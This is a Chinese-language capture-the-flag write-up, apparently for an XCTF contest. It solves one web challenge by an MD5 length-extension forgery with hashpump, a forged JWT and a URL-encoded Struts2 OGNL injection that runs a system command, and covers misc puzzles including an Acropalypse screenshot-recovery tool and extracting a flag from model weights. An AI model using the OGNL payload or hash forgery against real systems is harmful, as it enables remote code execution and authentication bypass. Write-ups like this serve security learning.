这比赛我全程摸鱼,唉,web就一道,misc全是什么深度学习、ai啥的,整不来。
WEB
jwt2struts
查看注释有提示,访问http://140.210.223.216:55557/JWT_key.php
<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
if ($username === "admin" && $password != "root") {
if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
die ("The secret_key is ". $secret_key);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("no no no");
}
}
这里需要使用到hash拓展攻击,可以看看这一篇从一个题目到hash扩展攻击。大概就是说,对于md5($salt.$username.$password),如果我们已知这个值,那么在不知道salt具体值但知道位数的情况下(不知道其实也可以慢慢爆破嘛),我们可以通过某种计算得到$salt.$username.$password.你添加的任意值
的md5的值。然后这里可以直接用工具:hashpump
hashpump -s 'e6ccbf12de9d33ec27a5bcfb6a3293df' --data 'adminroot' -a '1' -k 14
19abfee78b3aae275ec1c6b7661b5464
adminroot\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x001
也就是说19abfee78b3aae275ec1c6b7661b5464其实就是$salt."adminroot\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x001"
的md5值,所以我们就可以做到在$username === “admin” && $password != “root”的情况下$_COOKIE[“digest”] === md5($salt.$username.$password)了
传值的时候记得把\x换成%,不然服务器没法识别,算出来是其他的
secret_key是sk-he00lctf3r,回到主页面伪造jwt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MjAwNjMwOTAzMH0.pK0zUVaY2xfcoLqA5pfDLP_Y72GJMua53zuOz_jQf-g
然后重定向到http://140.210.223.216:55557/admiiiiiiiiiiin/,网站名就叫do you know struct2?,所以s2即可
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29+%2B+%27
******一共就出了这一道web题,难度还是偏简单了,适合放在新生赛上,放xctf上被打成签到题了
MISC
old language
https://fonts2u.com/dovahkiin.font,查表即可
snippingTools
CVE-2023-21036,可以撤销截图
https://github.com/frankthetank-music/Acropalypse-Multi-Tool
Deadgame
开挂嗯打,打完就有flag
MWM
因为直接提示flag的内容是可打印字符串,通过除以256转化为0到1的浮点数并直接替换了部分模型权重。flag内容的开头四个字符是’copy’,所以遍历所有层的参数然后统一乘以256,最后直接转换成一列,检查是否有”copy”字样
import torch
from functools import reduce
model = torch.load("./resnet_mwm_new.pth",map_location='cpu')
for name, param in model.named_parameters():
wwww = (param.data * 256).round().to(torch.int32).reshape(1,-1).tolist()
if "copy" in "".join([chr(abs(x)) for x in wwww[0]]):
print("".join([chr(abs(x)) for x in wwww[0]]))